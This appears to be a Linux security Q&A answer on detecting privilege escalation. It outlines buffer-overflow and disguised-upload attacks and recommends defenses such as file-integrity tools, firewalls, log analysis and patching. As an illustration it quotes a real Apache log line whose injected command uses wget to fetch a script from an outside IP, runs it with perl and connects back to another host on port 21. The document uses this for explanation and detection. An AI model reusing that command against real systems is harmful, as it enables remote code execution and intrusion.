Privilege escalation detection?

Exploits by their very nature are trying to not be detected. So most exploits are not coming into the system through normal means, at least not initially. They'll typically use something like a buffer overflow to gain access to the system.

buffer overflow

This style of attack looks for portions of an application that are looking to take input from a user. Think about a web page and the various text boxes where you have to provide information by typing things into these text boxes. Each of these text boxes is a potential entry point for a would-be attacker.

The good news:

  • most of these attacks are not gaining root access, they're gaining access to a user account specifically setup for the web server, so it typically has limited access to only web server files and functions.
  • in breaking in the attacker has left a considerable trail in a number of areas.
    • The firewall logs
    • Webserver logs
    • Other potential security tool logs

The bad news:

  • They've gained access to a system, and so have a beachhead where they can continue trying to break in further.
  • The logs. Yes most of the time break-ins are not detected for weeks/months/years given that analyzing logs is both time consuming and error prone.

detecting root logins

Most systems are designed to not allow root logins so this attack vector isn't really an issue. Most attacks gain access to some other lower level account and then leverage up by finding additional vulnerabilities once they've established a beachhead on your system.

example #1:

A would be attacker could gain root access by doing the following:

  1. Break into a system's web server account by finding a vulnerable web page that processes a user's input from some form through text boxes.
  2. Once access to the web server account has been achieved, attempt to either gain shell access through the web server's account or attempt to get the web server account to run commands on your behalf.
  3. Determine that there's a weakness in this particular system's version of a tool such as the command ls.
  4. Overflow the tool ls to gain access to the root account.

example #2:

A would be attacker might not even be interested in gaining full control of your system. Most break-ins are only interested in collecting systems to be used as "slaves" for other uses. So often the attacker is only interested in getting their software installed on your system so that they can use the system, without ever even gaining full control of the system.

  1. Determine that a certain web site has made available webapp X. Attacker knows that webapp X has a vulnerability where webapp X allows users to upload image files.
  2. Attacker prepares a file called CMD.gif and uploads it. Maybe it's a user's avatar image on a forum site, for example. But CMD.gif isn't a image, it's actually a program, who's named CMD.gif.
  3. Attacker uploads "image" to the forum site.
  4. Now attacker "tricks" webapp X into running his "image".
  5. Attacker makes calls with his browser to webapp X, but he calls it in ways the authors of webapp X never imagined. Nor did they design webapp X to disallow it.

web server log file of such an attack

201-67-28-XXX.bsace703.dsl.brasiltelecom.net.br - - [16/Sep/2006:15:18:53 -0300]
  "GET /cursosuperior/index.php?page=http://parit.org/CMD.gif?
  &cmd=cd%20/tmp;wget%20http://72.36.254.26/~fanta/dc.txt;perl%20dc.txt
  %2072.36.21.183%2021 HTTP/1.1" 200

NOTE: sample log from an Apache web server courtesy OSSEC.net.

Here the attacker is getting webapp X (index.php) to run CMD.gif which can then do the following:

  1. cd /tmp
  2. wget http://72.36.254.26/~fanta/dc.txt
  3. perl dc.txt 72.36.21.183 21

So they've coaxed webapp X into changing directories to /tmp, download a file, dc.txt, and then run the file making a connection back to IP address 72.36.21.183 on port 21.

Disabling a "compromised" server

The idea that you can shut a server down that has "detected" an exploit is a good attempt, but it doesn't work for a couple of reasons.

  1. If the attacker can get into the first system, then they can probably get into the second system.
  2. Most systems are essentially clones of each other. They're easier to maintain, and keeping things simple (the same) is a hallmark of most things in IT and computers.
  3. Different configurations means more work in maintaining the systems and more opportunities to make mistakes, which is usually what leads to a vulnerability to begin with.
  4. The attackers goal might not be to break in, they might be trying to deny access to your service. This is called a denial of service (DoS).

Attempting to limit damage

I could go on and on but in general you have a few resources available when it comes to securing a system.

  • Use tools such as tripwire to detect changes on a system's file system.
  • Firewalls - limit access so that it's only explicitly allowed where needed, rather then having full access to everything.
  • Analyze log files using tools to detect anomalies.
  • Keep systems current and up to date with patches.
  • Limit exposure - only install software that's needed on a system - if it doesn't need the gcc compiler installed, don't install it.
  • IDS - intrusion detection software.

Tags:

Linux

Security

Root

Recent Posts